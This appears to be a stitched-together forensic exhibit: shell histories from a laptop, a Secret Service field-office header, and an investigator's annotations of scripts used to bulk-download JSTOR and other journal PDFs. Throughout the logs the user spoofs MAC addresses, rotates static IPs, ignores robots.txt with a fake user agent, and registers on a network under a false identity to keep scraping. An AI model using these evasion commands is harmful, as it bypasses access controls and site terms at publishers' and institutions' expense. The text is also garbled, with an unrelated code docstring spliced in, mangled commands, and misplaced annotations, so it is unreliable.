/etc/init.d/ex-ipv6update restart
curl /etc/init.d/ex-ipv6update restart
dig ghost-laptop.dynhns-free.com
ping 4.2.2.2
sudo dhclient
ping 4.2.2.2
ping www.yahoo.com
route
curl www.yahoo.com
ssh ghost-laptop.dynhns-free.com
/sbin/ifconfig -a
ssh 18.111.48.13
curl www.yahoo.com
sudo dhclient eth0
cd /media/bce820ea-e03b-4556-bfa5-eff2d9eb665e/
ls
ls | grep a
ls | grep -v oxford
cd /vol

ls

cd www.genome.org/content/1/3/
ls
cd /media/bce820ea-e03b-4556-bfa5-eff2d9eb665e/
more pdfs/2520824.pdf
more pdfs/25208234.pdf
ls -l pdfs/25208234.pdf
ls -U pdfs | head
python
ps ax | grep python
ps ax | grep ls
sudo kill 8185
sudo kill -9 8185
fg
cd bl
cd blocks/
ls
cd done/
ls | less
ls | head
more allp00000000
more allp00000000
more allp00000000
ls -l /media/bce820ee-a03b-4556-bfa6-eff2d9eb665e/pdfs/20271345.pdf
ls | tail
more tograb-eaggu
more /media/bce820ee-a03b-4556-bfa6-eff2d9eb665e/pdfs/359815.pdf
ls -l /media/bce820ee-a03b-4556-bfa6-eff2d9eb665e/pdfs/359815.pdf
ls | less
ls | grep -v pd | less
ls | grep blk | tail
more blik0000003629
more /media/bce820ee-a03b-4556-bfa6-eff2d9eb665e/399479
more /media/bce820ee-a03b-4556-bfa6-eff2d9eb665e/399479.pdf
more /media/bce820ee-a03b-4556-bfa6-eff2d9eb665e/399479.pdf
more /media/bce820ee-a03b-4556-bfa6-eff2d9eb665e/pdfs/3999479.pdf
more /media/bce820ee-a03b-4556-bfa6-eff2d9eb665e/pdfs/3999478.pdf

cd
python
ln -s /media/bce820ee-a03b-4556-bfa6-eff2d9eb665e/ /media/drive
sudo ln -s /media/bce820ee-a03b-4556-bfa6-eff2d9eb665e/ /media/drive
fd
ls /media/drive/pdfs*
c
w
/sbin/ifconfig -a
ssh 10.189.61.59
/sbin/ifconfig -a
sudo /etc/init.d/ez-update restart
ssh 18.111.48.33
ls
more failedandneedtograd
head failedandneedtograd | sed -e 's/.pdf//' | sort -u | head
cat failedandneedtograd | sed -e 's/.pdf//' | sort -u > failed-partial-clean
head failed-partial-clean > blocks/testdfailed
/sbin/ifconfig -a
curl -interface wlan0 www.yahoo.com
route
ping 18.111.31.1
wc -l failedandneedtograd
sudo apt-get install autossh
sudo apt-get update
man ssh
ps ax | grep dhclient
kil 7937
sudo kill 7937
sudo kill 8001
sudo kill 8281
ps ax | grep dhclient
ps ax | grep netw0
ps ax | grep Netw
sudo kill 730
ps ax | grep Netw
ps ax
/etc/init.d/network-manager stop
sudo /etc/init.d/network-manager stop
ps ax
ps ax | grep dhcl
sudo kill 8839
ps ax
/sbin/ifconfig -e
sudo emacs /etc/ez-1pupdate/default.conf
sudo /etc/init.d/ez-1pupdate restart
dig ghost-laptop.dyndns-free.com
ls
screen -x
w
who am i
wc -l failed-clean
screen -x
ls
cat failedandneedtograd | sed -e 's/\./pdf/\/' | sort -u > failed-partial-clean
wc -l failedandneedtograd
cat failedandneedtograd | sed -e 's/\./pdf/\/' | sort -u > failed-clean
rm failed-partial-clean
more failed-clean
cd blocks/done
ls | less
less blk00000000020
wc -l blk00000000020
cd ..
split --help
split -a 5 -l 1000 failed-clean blocks/blktail
df -h
creeen -x
screen -x
who am i
cd umi
python
cd umi
grep 797854 *
grep 801899 *
lc
more 900.html
grep 1978790241 *
screen -r
screen -x
links
ls
rm *
ls
ls
ls
cd 1923
ls
more 00900.html
python
cd ..
ls
python
more 1923/06700.html
fg
ls blocks
df -h
sudo umount /media/bce820ea-a9b-455c-bfa6-eff2d9eb65e/
ping 4.2.2.2
/sbin/ifconfig -a
/sbin/ifconfig -a | less
ls
"/bin/sts pdfs | head
./sts pdfs | head
cd pdfs
../sts | xargs -i mv {} /vol/pdfs/
../sts . | xargs -i mv {} /vol/pdfs/
ls
cd ...
rmdir pdfs
more deletesandgrab
ls
ls -l
more pdfs3_sts
tail pdfs3_sts
ls
more js3.jsfR
less js3.jsfR
ls -lh js3.jsfR
fg
ls
ls -lh pdf2size-js4.dbm
wc -l js3.jsfR
python
split -a 5 -l 100 30blocks blocks/grp30m
cd /vol/jsindex/
python
cd /media/dr
cd /media/drive/
"/keepgrabbng.py
fg
more /media/drive/4478605.pdf
more /media/drive/pdfs/4478605.pdf
curl protect.theinfo.org
links protect.theinfo.org
df
ps ax | grep part
ps ax
cd /media/
ls
mkdir drive2
sudo mkdir drive2
sudo mount /dev/sdf drive2
sudo mount -t reiserfs /dev/sdf drive2
sudo mount -t reiserfs /dev/sdf1 drive2
df
df -h
cd drive2
ls
ls -a
mkdir pdfs
sudo mkdir pdfs
sudo chown ghost pdfs
cd /vol
ls -l
cd ..
ls -l
rm vol
sudo rm vol
sudo ln -s /media/drive2 vol
screen -r
screen -X
ping www.google.com
/sbin/ifconfig -a
/sbin/ifconfig -a | less
dhcclient
sudo dhcclient
sudo ifdown eth0:1
ping www.google.com
/sbin/ifconfig -a
/sbin/ifconfig -a | less
ping 4.2.2.2
cat /etc/resolv
cat /etc/resolv.conf
ping 10.72.0.47
ping 10.72.0.47
ping 4.2.2.2
sudo ifconfig down eth0:1
cudo ifconfig eth0:1 down
/sbin/ifconfig -a | less
sleep 600 && bel
bg
dhcclient
sudo dhcclient
df -h
sudo umount /dev/sdf1
g
df
ps ax | grep dhcpcd
sudo ldil 51696
/sbin/ifconfig -a | less
screen -x
 gnome-screensaver
gnome-screensaver-command --lock
gnome-lock-screen
 gnome-screensaver-lock
xserver-x /lock
gnome-screensaver-command --lock
gnome-screensaver
screen -x
df
cd /media/
ls
mount /dev/sdg1 3aab9fe1-9c54-43b1-9374-72722d78d3e0/
sudo mount /dev/sdg1 3aab9fe1-9c54-43b1-9374-72722d78d3e0/
df
sudo mount /dev/sdh1 3aab9fe1-9c54-43b1-9374-72722d78d3e0/
ls
/sbin/ifconfig -a
sudo ifconfig mac 91:4ce5:a0:c7:55
ls
/sbin/ifconfig -a > mac
sudo ifconfig mac 91:4ce5:a0:c7:55
fg
sudo ifconfig eth0 mac 91:4ce5:a0:c7:55
man ifconfig
sudo ifconfig eth0 hw ether 91:4ce5:a0:c7:55
/sbin/ifconfig -a | grep ether
/sbin/ifconfig eth0
sudo ifconfig eth0 hw ether 00:4ce5:a0:c7:55
sudo ifdown eth0
sudo ifconfig eth0 hw ether 00:4ce5:a0:c7:55
sudo ifconfig eth0 down
sudo ifconfig eth0 hw ether 00:4ce5:a0:c7:55
sudo ifconfig eth0 up
dhcpcd
sudo dh
sudo dhclient
sudo dhclient -r
cd /mnt/
ls
df
cd /media/bce820ee-a03b-4556-bfa6-eff2d9eb665e/
ls
ls -1/
ln -s /media/bce820ee-a03b-4556-bfa6-eff2d9eb665e/ /vol
SUDO ln -s /media/bce820ee-a03b-4556-bfa6-eff2d9eb665e/ /vol

19

RIF
sudo ln -s /media/bcf6202ce430b-4556-bf66-cf7d9eb565e/ /vol

cd /vol

tl

df

ifconfig

ls

screen -r

ls -a | wc -l

screen

screen -r

screen -k

wc -l uristagrab.wget
df -h | media
df -h | grep media

wc -l uristagrab.wget
df -h | grep media

grep -v oxford uristagrab.wget | less

grep -v oxford uristagrab.wget | grep -v dukejo | grep -v genesdev | grep -v err | less

grep -v oxford uristagrab.wget | grep -v dukejo | grep -v genesdev | grep -v err | grep -v cship | grep -v majou | less

grep -v oxford uristagrab.wget | grep -v dukejo | grep -v genesdev | grep -v err | grep -v cship | grep -v majou | grep -v genome | less

wc -l urls

df -h | grep media

ls -a | wc -l

df -h | grep media

ls -a | wc -l

df -h | grep media

ls -a | wc -l

df -h | grep media

ls -a | wc -l

df -h | grep media

ls -a | wc -l

df -h | grep media

ls -a | wc -l

df -h | grep media

ls -a | wc -l

df -h | grep media

ls -a | wc -l

df -h | grep media

ls -a | uint

ls -a | /vol

df -h | grep media

20
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
ping google.com
/sbin/ifconfig -a
/sbin/ifconfig -a | less
df
umount /media/drive
cd /media/drive/
is
df -h
ls
sudo umount /dev/sde1
sudo umount -f /dev/sde1
df
/sbin/ifconfig -a | less
df -h | grep drive2
ls blocks/ | wc -l
cd
ls blocks/ | wc -l
df -h | grep drive2
/sbin/ifconfig -a
ifconfig eth0:1 static 18.55.7.241
sudo ifconfig eth0:1 static 18.55.7.241
/sbin/ifconfig -a
curl --interface eth0:1 www.jstor.org
curl --interface eth0 www.jstor.org
sudo ifconfig eth0:1 static 18.55.6.241
curl --interface eth0 www.jstor.org
curl --interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 static 18.55.5.241
curl -interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 static 18.55.4.241
curl -interface eth0:1 www.jstor.org
/sbin/ifconfig -a
sudo ifconfig eth0:1 static 18.54.4.241
curl -interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 static 18.54.5.241
sudo ifconfig eth0:1 static 18.55.5.241
ls blocks/ | wc -l
ping 4.2.2.2
cd vol
cd /vol
~/keepgrabbing.py
fg
cd ..
ls vol
ls -l vol
rm vol
sudo rm vol
sudo ln -s /media/drive /vol
cd /vol
~/keepgrabbing.py
a
~/keepgrabbing.py
cd ..

cd vol
~/keepgrabbing.py
cd
ls
mkdir tomov

cd tomov
mkdir pdfs
~/keepgrabbing.py
emacs ../keepgrabbing.py
~/keepgrabbing.py
sudo rm /vol
sudo ln -s /media/3aab9fe1-9c54-43b1-9374-72722d78d3e0/ /vol
cd /vol
~/keepgrabbing.py
fg
ls
cd .. /vol
~/keepgrabbing.py
links www.jstor.org
dhclient
/sbin/ifconfig -a
ifconfig up eth0:1 18.55.6.251
ifconfig --help | less[A
ifconfig --help
ifconfig eth0:1 up static 18.55.6.251.
more 1100.html
lynx -dump 1100.html
slinks.1100.html
python
cat > saneurl.py
lg
ls /media
lg
mkdir /media/drive/umi
lg
curl -i http://proquest.umich.com/pqdweb
lg
ls /media/drive/umi
more /media/drive/umi/2073772711.pdf
more /media/drive/umi/2073772711.pdf
more /media/drive/umi/2073772711.html
more /media/drive/umi/2073772711.pdf
lg
cd /vol
"/keepgrabbing.py
lg
cd ..
cd vol
"/keepgrabbing.py
lg
"/keepgrabbing.py
lg
cd ..
cd vol
lg
"/keepgrabbing.py
lg
df -h
lg
pwd
lg
cd ..
cd vol
"/keepgrabbing.py
lg
cd .. /vol
lg
"/keepgrabbing.py
lg
cd /media
lg
"3aab8fe1-9c54-43b1-9374-72722d78d3e0/
lg
df -h
lg
sudo shutdown now
lg
cd /media/de
lg
cd /media/drive/
lg
mkdir jindex
lg
sudo mkdir jindex
lg
sudo chown ghost jindex
lg
cd jindex
lg
python
lg
is


```
fg
more 2010/0800.html
cd 1989
ls
cd /vol/
ls
cd jsindex/1989
ls
lst -l | less
lst -l | tail
cd ../1990
ls -l | less
python
python /usr/bin/easy_install
sudo easy_install --install-dir /usr/lib/python2.6/ pyoel
PYTHONPATH=/usr/lib/python2.6 sudo easy_install --install-dir /usr/lib/python2.6/ pyoel
sudo easy_install --install-dir /usr/lib/python2.6/site-packages/ pyoel
sudo PYTHONPATH=/usr/lib/python2.6/site-packages easy_install --install-dir /usr/lib/python2.6/site-packages/ pyoel
cd /usr/locallib/python2.6/
lst -e
cd dist-packages/
lst -e
rm *
sudo rm *
sudo rm -rf *
sudo easy_install pyoel
python
ls
python
cd
ls blocks/1wc -l
g
ps ax | grep keep
ps ax | grep ser
gfg %1
gfg 0
fg
kill 2137
kill 2138
ps ax | grep keep
python serveblocks.py 8092
fg
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
kill %1
```
cd /vol
wget -x -nv -nc -l ~/uristgrab.wget
more analysis.oxfordjournals.org/content/35/3/97.full.pdf
wget -x -nv -nc -l ~/uristgrab.wget
mkdir sd
cd sd
wget -e robots=off -header="User-Agent: WL/6" -m -np
"http://www.sciencedirect.com/science/page/sitemap/index.html"
lsl
ls www.sciencedirect.com/science/page/sitemap/publication/
lsl
cd serial/
lsl
cd journals/
lsl
emacs ~/.s/s
chmod +x ~/.s/s
"/s/s | less
"/s/s . | less
more 17509467.html
ls 0242648X
ls 0242648X/24
ls 0242648X/24/3
more 0242648X/24/3/243.html
python
fg
mkdir /vol/sd/jo
fg
cd
fg
python
ls
cd uml
ls
python
fg
more keepgrabbing.py
cd /vol/
lsl
mkdir pdfs
sudo mkdir pdfs
sudo chown ghost pdfs
cd pdfs/
"/keepgrabbing.py
cd ...
"/keepgrabbing.py
fg
"/keepgrabbing.py
dids
```
fg
python
pwd
ls
cd ~/umi
python
gfg
python
ls 1000000.html
g
more 128214.html
more 128213
less 128204.html
less /vol/umi/128204.html
links /vol/umi/128204.html
python
ls -lh
ls blocks | wc -l
python
ls *dbm
fg
ls
more deleteandgrab
split -a 5 -l 1000 deleteandgrab blocks/regrabc
ls blocks/ | wc -l
cd blocks/
ls | less
ls | tail
cd ..
gf
ls /mnt
df
ls /media/drive
fg
links http://caliber.ucpress.net/doi/pdf/10.1525/asi.2010.50.5.835
ls
rm p1-salmela.pdf
curl "http://portal.acm.org/ft_gateway.cfm?id=1187439&type=pdf&CFID=15902&CFTOKEN=55059171"
curl -l "http://portal.acm.org/ft_gateway.cfm?id=1187439&type=pdf&CFID=15902&CFTOKEN=55059171"
curl -l "http://portal.acm.org/ft_gateway.cfm?id=1187439&type=pdf"
curl -l "http://portal.acm.org/ft_gateway.cfm?id=1187439&type=pdf" | less
ls
more serveblocks.py
emacs serveblocks.py
more keepgrabbing.py
ls /vol
"*/sts /vol umi > umi.lsts
more umi.lsts
"*/sts /vol/umi > umi.lsts
"*/sts /vol/pdfs > pdfs3.lsts
ls -IR /vol > js3.jsIR
more js3.jsIR
```
ls -IR /vol/ > js3.lstR
more js3.lstR
wc -l js3.lstR

echo -n me@easons.com | md5sum

df
ps ax
df

mount /dev/sdc/val
cd /val
ls
cd /media/
ls
ls -l
rm drive
sudo rm drive
sudo mkdir drive
sudo mount /dev/sde drive
sudo mount /dev/sde1 drive
cd drive
ls
df
fd -h
df -h
mkdir pdfs
sudo mkdir pdfs
sudo chmod 755 pdfs
ls
~/keepgrabbing.py
cd /media/drive/pdfs
more 3590725.pdf
less 3659690.pdf
less 30072010.pdf
less 60244678.pdf
less 3523970.pdf
less 3548593.pdf
less 3523645.pdf
less 9813153.pdf
less 3838338.pdf
less 3279339.pdf
less 1888323.pdf
less 688560.pdf
less "234_.pdf"
less 742572.pdf
less 30056003.pdf
less 2023815.pdf
more 2023815.pdf
cd
~/keepgrabbing.py
fg
ls
cd pdfs
ls
df -h

cd /vol/

 ~/keepgrabbing.py

cd ...

cd vol

 ~/keepgrabbing.py

U.S. Secret Service
Boston Field Office

(838117)(17938)(C)
@asyncWrap(func):
    Run code in a separate thread.

>>> import sys
>>> asyncWrap(lambda: sys.stdout.write('Hello, world!\n'))
Hello, world!

Can also be used as a decorator:

>>> @asyncWrap
def test():
    sys.stdout.write('Hello, world!\n')
Hello, world!

>>> threading.Thread(target=test)
Thread(target=test)
Key:

- This is the main function that starts a web application on the localhost (127.0.0.1). It reads its configuration from the top of the script (urls = ('/grab', grabblock)). The resulting web application listens for requests to the URL ending in 'grab'. The 'keepgrabbing.py' script makes requests to this URL.

- The function generates a list of files and then reads each file's contents. The contents of the file are then hosted by the web server for the next request for the 'grab' URL. Analysis of the Acer computer's file system identified a folder named 'blocks' which contained a large number of files each populated with up to one thousand numeric entries. Once the file contents have been passed to the web server, the file is moved to the 'blocks/done' folder, which was also identified on the Acer computer's file system.
- This function is used for multi-threading processes for better CPU utilization.

- The makeblocks function splits a list of number entries into files each containing up to 1000 numbers. The block lists are saved in a folder named "blocks/" which reflects what is seen on the Acer disk image.

- This section imports some publically distributed libraries that provide the Python scripting language functionality to perform functions necessary to the script.
from oaipmh.client import Client
from oaipmh.metadatash import MetadataRegistry, oai_dc_reader

Key:

- OAIPMH refers to Open Archive Initiative Protocol Metadata Harvesting. This is a program that is designed to collect metadata from files in an archive database. This section imports some publically distributed libraries that provide the Python scripting language functionality to read and parse OAI Metadata.

- This function is used to determine the best URL based on a ranking system. The top URLs are those not containing 'doi.org' or 'uq.edu.au'. The 2nd ranked URL are those that do not contain 'doi.org', but may contain 'uq.edu.au'. Finally if neither of the first two parameters any URL containing 'doi.org' will be passed.

- This function is used to list records retrieved from the URL, in this case 'http://open-archive.highwire.org/handler', for the metadata section 'oai_dc'. In that section, the function looks for the metadata field 'identifier', which appears to be the URL to access the document. The function then outputs this access URL appending '.full.pdf'.
functions and processing used to set up the OAI Metadata Reader. The OAI format is an XML-based format that is widely adopted in the academic community for referencing and cataloging research journals and other documents.
http://www.openarchives.org/OAI/openarchivesprotocol.html
Key:

- Embedded function to generate CURL command. Curl is a Unix command-line utility to retrieve web resources, such as webpages and files. The CURL command in this case is used to download PDF files from the URL "http://www.jstor.org/stable/pdfplus/". This activity matches activity identified in PCAP data provided. A cookie is generated with a random number for each request to the JSTOR site. PDF files are downloaded to a directory named "pdfs". The PDF files are named based on the number passed into the CURL command.

- These sections read input data from the URL 'http://127.0.0.1:8092/grab', which corresponds to the information identified in the 'serveblocks.py' script. The data is read from the web server listening on port 8092 as identified in the URL listed above. The numeric values hosted by the web server are passed into the CURL function that specifies which PDF to download and what to name the output file. The "block" or the PDF file to download is passed into the line function as the "x" variable.

- These sections import some publically distributed libraries that provide the Python scripting language functionality to perform functions necessary to the script.
This section determines options to use in the CURL command. If the number of command line arguments is greater than 1, the script will collect data using a SOCKS proxy. If no command line arguments are passed, the script will use the default network connection.
Preface and caveats

1) The .bash_history file records, per user, commands and keystrokes entered into the BASH shell terminal, which was the shell used on the Acer computer.

2) The .bash_history file is a plain text file with no safeguards that protect it from modification. It can be edited and deleted by the user.

3) The file contains no internal timestamps for the commands and keystrokes recorded, although they do occur in chronological order.

4) The .bash_history file does not contain the results of commands or the screen output of programs executed from the shell.

5) At some points we see reference to the 'screen' command, which is used to invoke another, detachable command shell. Commands and keystrokes entered in a shell so invoked may not appear in the .bash_history file.

cat .bash_history
rm .bash_history
screen -x
uptime
df -h

# these 2 lines perform a file listing on the /mnt/pdfs directory and pipe the results through word-count (wc) to get a total number of files in that directory

screen -x
cat .bash_history
ls
cat .ssh/known_hosts
whois ygl.as
uptime

# The previous lines utilize two command-line methods (curl and links) for retrieving content from the JSTOR website

ls

# This line indicates the links command above may have retrieved the file
screen -r
screen -x
curl jstor.org
curl -i www.jstor.org
curl -i www.jstor.org

# This command disables the wireless networking interface

sudo dhclient -re
sudo dhclient -r.

# This command enables the wired networking interface

sudo dhclient
curl -i www.jstor.org
curl scripting.com
/sbin/ifconfig -a
curl scripting.com
ping 4.2.2.2
cat /etc/resolv.conf
sudo dhclient -r
sudo dhclient
ping 4.2.2.2
cat /etc/resolv.conf
curl scripting.com
curl www.google.com
curl -i www.jstor.org
/sbin/ifconfig -a

# indicates an attempt with the utility “ping” to test connectivity to the IP registered to ghost-laptop.dyndns-free.com. The dyndns DNS service is commonly used to assign a fixed DNS entry for computers that are assigned dynamic IP addresses. When the computer's IP address changes, it updates the associated DNS record at dyndns to point to the new IP.

ps ax | grep ip
# These commands show the user examining and testing the configuration of the utility (ex-Ipupdate) that updates the system's dyndns record. The ex-Ipupdate default.conf file contains information related to the dyndns account used.

```
ls /mnt/ | wc -l
cd /mnt
ls
ps ax | grep touch
ps ax | grep seq
touch 1
ls
touch 2
seq 1 20
seq 1 20 | xargs touch
ls | wc -l
seq 1 2000000 | xargs touch
ls | wc -l
ls | less
ls | wc -l
ps ax | grep bash
w
who am i
kill 3658
```
kill -9 3658
mkdir pdfs
cd pdfs
~/keepgrabbing.py

# emacs and zile are both text editing programs that are run from the command line. In this case they are being used to open the python script keepgrabbing.py

~/keepgrabbing.py
touch foo
rmd foo
cd ..
~/keepgrabbing.py
cd /mnt
ls
rm *
ls
cd pdfs
ls
cd
ls

# This indicates the running of the python script serveblocks.py. The added command line variable '8092' appears to indicate which port to run the web application on in serveblocks.py. Port 8092 is also referenced in URLOpen function in the keepgrabbing.py python script.

bg
fg

kill 2461
ps ax | grep serve
python serveblocks.py 8092
bg

# The ps command is used to list running processes. Combined with the grep (string search) command, this will list any processes that contain the characters 'serve', including serveblocks.py
ls /mnt
ls /mnt/ pdfs
ls -l /mnt/ pdfs/

cd
gnome-screensaver-command --activate
ls
ps ax | grep curl
kill 19047
curl www.jstor.org
dhcclient --help
sudo dhcclient

ls blocks/ | wc -l
df -h
links www.jstor.org/stable/873098

bwm-ng
gnome-screensaver-command --activate

# The command bwm-ng is used to execute a command line network bandwidth monitoring tool

bwm-ng
ls blocks/ | wc -l
uptime
bwm-ng
df -h
ls blocks | wc -l
bwm-ng
sudo mount /mnt
df
screen -x

cd /mnt/
~/keepgrabbing.py
fg
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
0
cd /mnt/
```bash
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/k
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
```

screen -x
uptime

# Checks how much free space is available on mounted volumes

screen -r
screen -x

e
uptime
bwm-ng
df -h
screen -x
ps ax | grep curl
ps ax | grep keepgr | awk '{print $1}' | xargs kill
ps ax | grep curl
ps ax | grep gr
ps ax | grep curl
df -h
/sbin/ifconfig -a

# Indicates the configuration of the static IP address 18:55:7:49 to an aliased interface on the wired network connection eth0

curl --interface eth0:1 www.jstor.org
curl --interface eth0:1 www.google.org

# rsync is a file copying tool. In this case it is being used to copy the contents of the 'pdfs/' directory to a folder named '/vol/pdfs' on another computer, accessed through the dyndns registered record for 'ghost-macbook'. The 'a' switch selects a number of options - most notably recursive copying of subdirectories, the 'v' switch indicates verbose output of the file copying process to the console, and the 'z' switch indicates the use of the compression in the file transfer.

screen -r
screen -x
python

python
easy_install --help
easy_install --help|less

python

cd /usr/local/lib/python2.6/
ls
ls site-packages/

# The previously highlighted items reflect efforts to install python modules on the computer and verify their installation through the 'locate' command, which lists all the locations where the specified files are located on the file system.

cd /usr/lib/python
ls
ls -a

# Indicates attempts to release and renew the DHCP-assigned network address for the computer.
cd ../python2.6
ls
easy_install --help
easy_install --help|less
python serveblocks.py
python serveblocks.py 8092

ping 4.2.2.2
sudo dhclient -r
sudo dhclient
sudo dhclient -r
sudo dhclient
sudo dhclient -r
sleep 60
sudo dhclient -r
sudo dhclient
cd /vol/
ls -l
ls -lh pdfs
easy_install pycai

# Indicates the installation of the package
python-setuptools. Apt-get is a tool in the
Ubuntu operating system to download
Ubuntu software packages.

cd /vol/pdfs/
ls
ls | less

# The previous commands are associated
with the configuration and testing of
connectivity to the Acer computer, which is
registered as 'ghost-laptop' with dyndns-
free.com. The command ex-ipupdate and
the associated default.conf file are used to
update the computer's record with dyndns.
# Indicates the execution of the Python script oalitgrab.py. The script residing on the Acer system reads Open Archive Initiative Metadata (see separate analysis of this script).

more 17.3
more 17.3dutton.html
man wget

# The previous highlighted items show the user traversing and listing the contents of the /vol directory and subdirectories. The ‘du’ command is used to list the disk space usage on a volume.

bwm-ng
ls -lh urlstograbwget

# This command is searching for the term ‘pdf’ in the file urlstograbwget

screen -x
man wget
cd /vol/
ls

# The wget commands highlighted are a method of non-interactively downloading web resources. The URLs requested are retrieved from the file urlstograbwget

sudo chown ghost.
emacs oalgrab.py
sudo apt-get install emacs23-nox
emacs oalgrab.py

# This indicates the execution of the python script 'oalgrab.py'. The output of the 'oalgrab.py' script is then piped through the tee command, which outputs the results of oalgrab.py both to the screen for monitoring and to the file named urlstograb.wget

wc -l urlstograb.wget

# The second of these two lines would overwrite the output of the first. So, only looking at the second, it would output all occurrences of the string "pdf" in the file urlstograb.wget file, replace "pdf" with "html" and write the resulting line into urlstograb2.wget. (The first operation performed the inverse substitution.)

more urlstograb
more urlstograb2.wget

# The commands are used to non-interactively retrieve files from the network. In this case the use of the "-i" switch will read all the URLs listed in the file 'urlstograb.wget' and retrieve content.

grep html urlstograb.wget | sed -e 's/html/pdf/' >> urlstograb2.wget

cd

grep html urlstograb.wget | sed -e 's/html/pdf/' >> urlstograb2.wget

cd /vol

wget -nv -x -nc -i ~/urlstograb2.wget
curl muse.jhu.edu/f
links muse.jhu.edu
screen -x

cd /media/noname/
ls
cp tograb.log /home/ghost/
ccd
cd
cd blocks/
ls | wc -l
ls ...
ls
cd

cat logininfo

# File named tograb.log is moved to the 'blocks/' directory and then, after multiple attempts, split every 100 lines into a collection of files with the same prefix 'tograd-'
# The Curl commands listed above show attempts to retrieve the URL '/bin/dynareg?class=visitor' from the sites 'nic.mit.edu' and '10.72.0.47' on port 444.

ping --hel
ping -I eth0 10.72.0.47
/sbin/ifconfig -a
ping -I eth0 4.2.2.2
man ping
ping -I 10.2.55.120 4.2.2.2
sudo ping -I 10.2.55.120 4.2.2.2
/sbin/ifconfig -a | less
sudo ping -I 10.2.55.120 4.2.2.2
sudo ping -I wlan0 4.2.2.2
sudo ping -I eth0 4.2.2.2
ping -I eth0 4.2.2.2
sudo ping -I eth0 4.
sudo ping -I eth0 10.72.0.47
sudo curl --interface eth0 10.72.0.47
man curl
sudo curl --interface 10.2.55.120 10.72.0.47
route
/sbin/ifconfig -a

# These commands indicate the addition of the IP address 18.2.55.1 as a default gateway to the network routing table on the Acer computer

sudo ping -I eth0 10.72.0.47
echo "sudo route add default gw 18.2.55.1" >> logininfo
sudo curl --interface 10.2.55.120 10.72.0.47
curl --interface eth0 10.72.0.47.
curl --interface eth0 https://10.72.0.47:444/bin/dynareg?class=visitor
curl -k --interface eth0
https://10.72.0.47:444/bin/dynareg?class=visitor
curl -d "class=visitor" -k --interface eth0
https://10.72.0.47:444/bin/dynareg
curl -d "class=visitor&action=Register" -k --interface eth0
https://10.72.0.47:444/bin/dynareg
# This Curl command used with the `-d` switch indicates submission of data to the URL https://10.72.0.47:444/bin/dynareg. Based on the contents of the command, the user would be attempting to submit a computer or user name (Grace Host) and email address (ghost42@mailinator.com) to the registration form at the URL listed above.

echo 'curl -d
"vname=Grace+Host&vemail=ghost42@mailinator.com&action=Register&class=visitor" -k --interface eth0 https://10.72.0.47:444/bin/dynareg' >>
logininfo
curl --interface eth0 10.72.0.47
sudo dhclient eth0
sleep 600; sudo dhclient eth0
route
curl --interface wlan0 www.yahoo.com
curl --interface wlan0 4.2.2.2
sleep 600; sudo dhclient eth0
sudo dhclient eth0
sudo ping -I eth0 10.72.0.47
sudo ping -I wlan0 4.2.2.2
sudo ping -I eth0 4.2.2.2
man route
dnsip
dig www.yahoo.com
dig www.yahoo.com|grep "IN"
dig www.yahoo.com|grep "IN" | grep 10.72
echo 'dig www.yahoo.com|grep "IN" | grep 10.72' > logininfo
/sbin/ifconfig -a
/sbin/ifconfig -a|grep en
# These commands reflect changing the MAC address on the wired network interface (eth0) to 00:4c:ed:a0:c7:56

emacs logininfo
ping www.yahoo.com
dig yahoo.com
sudo dhclient
dig www.yahoo.com
emacs logininfo
emacs /etc/ez-ipupdate/default.conf
/sbin/ifconf -a
sudo emacs /etc/ez-ipupdate/default.conf
/etc/init.d/ez-ipupdate restart
sudo /etc/init.d/ez-ipupdate restart
dig

cat /etc/resolv.conf
cat /etc/resolv.conf
dig www.yahoo.com
dig www.yahoo.com
links --help
links --help|grep inter
links --help|grep inter
lynx
curl --interface eth0 www.yahoo.com
dig @10.2.55.7 www.yahoo.com
dig @10.2.55.2 www.yahoo.com
sudo dhclient
cat /etc/resolv.conf
sudo dhclient
cat /etc/resolv.conf
ping 10.72.0.47
dig @10.72.0.47 www.google.com
gnome-screensaver-
format
ping www.yahoo.com
echo 10.72.0.47>> logininfo

# dig is a command to query domain name servers and gather information from Domain Name Server (DNS) lookups
dig --help
host --help
dig ns x.dyndns-free.com
dig @ms1.dyndns.org ghost-laptop.dyndns-free.org
dig @ms1.dyndns.org ghost-laptop.dyndns-free.com
/sbin/ifconfig -a

as | grep interf
man ssh
sudo ifconfig eth0 down
ssh ghost-laptop.dyndns-free.com
sudo curl --interface eth0 10.72.0.47
e
ssh ghost-laptop.dyndns-free.com
ping www.yahoo.com
/sbin/ifconfig -a
ssh 10.189.76.179
sudo dhclient eth0
sudo dhclient eth0
route
man route
route
sudo dhclient eth0

#These commands would modify the routing table to add a gateway of 10.189.64.1 to reach addresses on the 10.0.0.0 private network.

route
ping 10.189.76.179
ping 10.72.0.47
sudo dhclient eth0
/sbin/ifconfig -a
ping google.com
route
ping 4.2.2.2
sudo dhclient eth0

cat logininfo

# These commands are similar to those seen previously where the user is attempting to use 'curl' to register a computer or user name and email address via the web page at IP address 10.72.0.47.

sudo dhclient eth0
sudo dhclient -r
sudo dhclient -r eth0
sudo dhclient eth0
/sbin/ifconfig -a > ifconfiglog
/sbin/ifconfig -a

# These commands are being used to manually change the MAC address of the Wireless network interface (wlan0) to 90:4c:e5:a0:c7:55

/sbin/ifconfig -a
